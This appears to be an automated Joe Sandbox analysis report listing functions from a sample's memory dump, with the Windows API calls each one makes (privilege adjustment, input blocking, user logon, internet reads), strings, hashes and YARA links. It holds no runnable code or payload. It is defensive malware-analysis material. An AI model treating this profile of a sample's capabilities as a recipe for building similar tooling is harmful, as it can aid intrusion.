Opcode ID: 767ba33a14fe57dbd918fc13f30c1efb30c7ce45c178bff58a360750581fe845
Instruction ID: c2265069f8a950d6b26d0ee8dc3e86a576aef20c78fa2ef6030865201dc27809
Opcode Fuzzy Hash: 767ba33a14fe57dbd918fc13f30c1efb30c7ce45c178bff58a360750581fe845
Instruction Fuzzy Hash: FF11C1727009519FE7236FA6DC84A6EBB9DEF84761F458139F80AD7241DB70E9018AE0

Function 00320030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00320034
__swprintf.LIBCMT ref: 00320065

Strings

WIN_XPe, xrefs: 003200A4
%.3d, xrefs: 0032003F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 533a06d58d0a24d0f6455fca1fb8b25f5170c255362114ca80ba38f8e130d659
Instruction ID: 27f0d26b3db017bc6401859b4f106fb8392cebfaa3077611255f13f55ca3cbf3
Opcode Fuzzy Hash: 533a06d58d0a24d0f6455fca1fb8b25f5170c255362114ca80ba38f8e130d659
Instruction Fuzzy Hash: 10D01272858129EADB1E9A90E984DF9777CAB04304F208496F546E2441D275979C9A22

Function 003529BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000), ref: 00352AAD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00352AE4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 4ac4f31d3e67cbd8e27187e50b2bb66c905968ae4388a46b731be4af537a134e
Instruction ID: da028d07b9d524c083011f2291288adcb0f5a32a059b4445f581604e0e4cf7b7
Opcode Fuzzy Hash: 4ac4f31d3e67cbd8e27187e50b2bb66c905968ae4388a46b731be4af537a134e
Instruction Fuzzy Hash: E041D871A00309FFEB22DE54CC81EBBB7BCEB41755F10405EFA05A71A1DB71AE499660

Function 00339399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00300FE6: std::exception::exception.LIBCMT ref: 0030101C
Part of subcall function 00300FE6: __CxxThrowException@8.LIBCMT ref: 00301031

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003393E3
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00339410
GetLastError.KERNEL32 ref: 0033941D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: cf7d631ba7bcbf6059b943d661c13883fbf5af052a5e3d80474f214ecfd71d3c
Instruction ID: 112a52e8b178f77719dca0d4f061419f4f5acbe64219c671ee56bd6c48c36d3f
Opcode Fuzzy Hash: cf7d631ba7bcbf6059b943d661c13883fbf5af052a5e3d80474f214ecfd71d3c
Instruction Fuzzy Hash: B3118FB1414205EFE729DF64DCC5E2BB7BCFB48720F21852EE45A96280EB70AC41CB60

Function 00344254 Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00344271
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 003442B2
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 003442BD

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 7c15ba7ead1b76ebc0fa5a91ed6483cd00c1c9f50cdc7b71c50b808f183261a9
Instruction ID: 12885a5167263796924de108d70b44be79848b4222009235d8415859caf43929
Opcode Fuzzy Hash: 7c15ba7ead1b76ebc0fa5a91ed6483cd00c1c9f50cdc7b71c50b808f183261a9
Instruction Fuzzy Hash: 78118275E01228BFDB218FA59C44BAFBBBCEB45B20F104565FD04E7280C6705A008BA1

Function 00344F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00344F45
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00344F5C
FreeSid.ADVAPI32(?), ref: 00344F6C

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: c02049e45557c53698d6f326eab41584bbdb523f087131dd80800eec336665df
Instruction ID: 9633b217663f36e30b88f668921c19427ad3a8ee1b87b2cec098e115a7ebe7b1
Opcode Fuzzy Hash: c02049e45557c53698d6f326eab41584bbdb523f087131dd80800eec336665df
Instruction Fuzzy Hash: 1BF03775A1120CFFDB04DFE09D89EAEBBBCEB08311F0044A9A905E2180E6346A448B50

Function 00341AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00341B01
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00341B14

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 3a5c878ac3b6984118478dbbbd141ad3e8787a43d400ce8dd9fda9c48010d70b
Instruction ID: 08919ee568ce5630979e803de737de3992f55cbad5680429a4914da786c64ee6
Opcode Fuzzy Hash: 3a5c878ac3b6984118478dbbbd141ad3e8787a43d400ce8dd9fda9c48010d70b
Instruction Fuzzy Hash: 28F0A93190420CEBDB05CF90C805BFE7BB8FF04311F00800AF9499A292D3399651DF94

Function 0034A6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00359B52,?,0037098C,?), ref: 0034A6DA
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00359B52,?,0037098C,?), ref: 0034A6EC

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: b68acbb42ae08bd46b9bdbd1596b6d954f78122e228f0677817e615cba70e24d
Instruction ID: 5a93185d41ac09be897dfef293ea4c9613f44c9edd5d41eed5cf7946a5ac31c3
Opcode Fuzzy Hash: b68acbb42ae08bd46b9bdbd1596b6d954f78122e228f0677817e615cba70e24d
Instruction Fuzzy Hash: A4F0823555422DFBEB22AFA4CC48FEA77ACAF09361F008155F90C96181D6709990CBA1

Function 00338DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00338F27), ref: 00338DFE
CloseHandle.KERNEL32(?,?,00338F27), ref: 00338E10

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 62019abdd18abcdf002869b8b55d6e950f018a79d5336200a21d89bb3a803ff6
Instruction ID: 88f0e09d7d8ec9242a058d1fc7a60475aa0dd1dc301f5f82bb53feb7d6a97c40
Opcode Fuzzy Hash: 62019abdd18abcdf002869b8b55d6e950f018a79d5336200a21d89bb3a803ff6
Instruction Fuzzy Hash: 67E0B6B6011610EFF7372B61EC19E77BBADEB04320B14892DF49A844B4DB62ACD0DB50

Function 0030A385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00308F87,?,?,?,00000001), ref: 0030A38A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0030A393

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6269451a9a9d5f133bc9ff19c6b1ecd62882b033430ef6e6b39605aead8ec4a2
Instruction ID: 065d72eff549c7e49aa38fb2d203d883937c4d3e6468c05c3b33fca7b6f8be6d
Opcode Fuzzy Hash: 6269451a9a9d5f133bc9ff19c6b1ecd62882b033430ef6e6b39605aead8ec4a2
Instruction Fuzzy Hash: 9BB09235074208EBEA562B91EC09B883F6CEB44B6AF004010F64D44060CB6254908A91

Function 003545D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 003545F0

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: f0d90375331163b2dc594c525947134419a997ae59531db4f68f300fb1584a7d
Instruction ID: a24144c9b56a01ebaafc80ea31393d7b5d0c52d5ab9b0b78810f295d65b86384
Opcode Fuzzy Hash: f0d90375331163b2dc594c525947134419a997ae59531db4f68f300fb1584a7d
Instruction Fuzzy Hash: 8BE0D8352102159FC711AF5AD800E96F7DCEF54760F008415FC09D7311DA70E9508B90

Function 003451E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00345205

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: d85caf44d3828cb4385cda210362f610aa18d038be4b19f0e4bb8d5dd2c4388a
Instruction ID: 5b146708991796c1f1236d31a756e7669153baed9b4fca64efa820da027cd7bd
Opcode Fuzzy Hash: d85caf44d3828cb4385cda210362f610aa18d038be4b19f0e4bb8d5dd2c4388a
Instruction Fuzzy Hash: 63D052A6960E0A7BEC2A03249E0FF36028CE3017C0F854249B042CD0C3ECD07881A431

Function 00339369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00338FA7), ref: 00339389

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 9026460693fcfd63e83484f201d77f597d44a631a0b66389882810276fe5a98e
Instruction ID: 00a0bfb64f74fbc0669b16474811527a5adba1ea5754082018c0c79e04e151c5
Opcode Fuzzy Hash: 9026460693fcfd63e83484f201d77f597d44a631a0b66389882810276fe5a98e
Instruction Fuzzy Hash: 1DD05E3226050EABEF018EA4DC01EAE3B69EB04B01F408111FE15C50A0C775D835AB60

Function 00320722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00320734

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 25d5a664fc4b36988be8d96986b3de2d98cc49dc7b04f079b2773352143cec09
Instruction ID: d2be38f6f70d1cc6dfa136689bcb959aa696fc823675414b7051bc1a044bd83c
Opcode Fuzzy Hash: 25d5a664fc4b36988be8d96986b3de2d98cc49dc7b04f079b2773352143cec09
Instruction Fuzzy Hash: D1C04CF180011DDBDB1ADBA0D988EEE77BCAB04314F104459A145B2100D7749B448A71

Function 0030A354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0030A35A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: fcfc57f0cd7240c975fc8b4958b453b9017faf7fef416ca98016a90574d1bc97
Instruction ID: 96078fa14dc437608806780e31bbfadb392815de2b9c6303428b8baa3462352a
Opcode Fuzzy Hash: fcfc57f0cd7240c975fc8b4958b453b9017faf7fef416ca98016a90574d1bc97
Instruction Fuzzy Hash: 9EA0113002020CEB8A022B82EC08888BFACEA002A8B008020F80C000228B32A8A08A80

Function 00363BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00370980), ref: 00363C65
IsWindowVisible.USER32(?), ref: 00363C89

Strings

UNCHECK, xrefs: 00363EC1
HIDEDROPDOWN, xrefs: 00363D3E
ISCHECKED, xrefs: 00363E77
GETLINE, xrefs: 00363FD9
SETCURRENTSELECTION, xrefs: 00363DF4
GETCURRENTSELECTION, xrefs: 00363E21
EDITPASTE, xrefs: 00363F9D
SENDCOMMANDID, xrefs: 00364018
ADDSTRING, xrefs: 00363D54
ISVISIBLE, xrefs: 00363C75
GETCURRENTCOL, xrefs: 00363F66
SHOWDROPDOWN, xrefs: 00363D1E
DELSTRING, xrefs: 00363D87
GETSELECTED, xrefs: 00363EE1
SELECTSTRING, xrefs: 00363E44
CHECK, xrefs: 00363EAB
CURRENTTAB, xrefs: 00363CFB
ISENABLED, xrefs: 00363CA9
TABLEFT, xrefs: 00363CC5
GETLINECOUNT, xrefs: 00363F04
TABRIGHT, xrefs: 00363CDB
FINDSTRING, xrefs: 00363DB4
GETCURRENTLINE, xrefs: 00363F2B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 1ffbeaf3d401aec466b2224d90371f16d72b8ac3a864d4eca58e035e4daae0f9
Instruction ID: e150c469c0d8605de2c0c078addd7fa0dfa413b533779b0e0815e4ca979ec372
Opcode Fuzzy Hash: 1ffbeaf3d401aec466b2224d90371f16d72b8ac3a864d4eca58e035e4daae0f9
Instruction Fuzzy Hash: 57D1C634218214DBCB16EF14C4A1BAEB7A5EF94354F508858F8865F3E6CB31EE4ACB51

Function 0036ABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0036AC55
GetSysColorBrush.USER32(0000000F), ref: 0036AC86
GetSysColor.USER32(0000000F), ref: 0036AC92
SetBkColor.GDI32(?,000000FF), ref: 0036ACAC
SelectObject.GDI32(?,?), ref: 0036ACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 0036ACE6
GetSysColor.USER32(00000010), ref: 0036ACEE
CreateSolidBrush.GDI32(00000000), ref: 0036ACF5
FrameRect.USER32(?,?,00000000), ref: 0036AD04
DeleteObject.GDI32(00000000), ref: 0036AD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 0036AD56
FillRect.USER32(?,?,?), ref: 0036AD88
GetWindowLongW.USER32(?,000000F0), ref: 0036ADB3

Part of subcall function 0036AF18: GetSysColor.USER32(00000012), ref: 0036AF51
Part of subcall function 0036AF18: SetTextColor.GDI32(?,?), ref: 0036AF55
Part of subcall function 0036AF18: GetSysColorBrush.USER32(0000000F), ref: 0036AF6B
Part of subcall function 0036AF18: GetSysColor.USER32(0000000F), ref: 0036AF76
Part of subcall function 0036AF18: GetSysColor.USER32(00000011), ref: 0036AF93
Part of subcall function 0036AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0036AFA1
Part of subcall function 0036AF18: SelectObject.GDI32(?,00000000), ref: 0036AFB2
Part of subcall function 0036AF18: SetBkColor.GDI32(?,00000000), ref: 0036AFBB
Part of subcall function 0036AF18: SelectObject.GDI32(?,?), ref: 0036AFC8
Part of subcall function 0036AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 0036AFE7
Part of subcall function 0036AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0036AFFE
Part of subcall function 0036AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 0036B013

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 53d4b5280bef8bc164ba57808e552156c13905f02969f3d8727697154b16af4c
Instruction ID: 7b97790900e4d0bd952df9f747ee9065c53c68e36990ee24eeef3f62e0741f32
Opcode Fuzzy Hash: 53d4b5280bef8bc164ba57808e552156c13905f02969f3d8727697154b16af4c
Instruction Fuzzy Hash: C0A16C72008701EFD7269F64DC08A6BBBADFF89321F104A19F566A61E0D771D984CF52

Function 002E2FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 002E3072
DeleteObject.GDI32(00000000), ref: 002E30B8
DeleteObject.GDI32(00000000), ref: 002E30C3
DestroyIcon.USER32(00000000,?,?,?), ref: 002E30CE
DestroyWindow.USER32(00000000,?,?,?), ref: 002E30D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 0031C77C
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0031C7B5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0031CBDE

Part of subcall function 002E1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,002E2412,?,00000000,?,?,?,?,002E1AA7,00000000,?), ref: 002E1F76

SendMessageW.USER32(?,00001053), ref: 0031CC1B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0031CC32
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0031CC48
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0031CC53

Strings

0, xrefs: 0031CA72

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
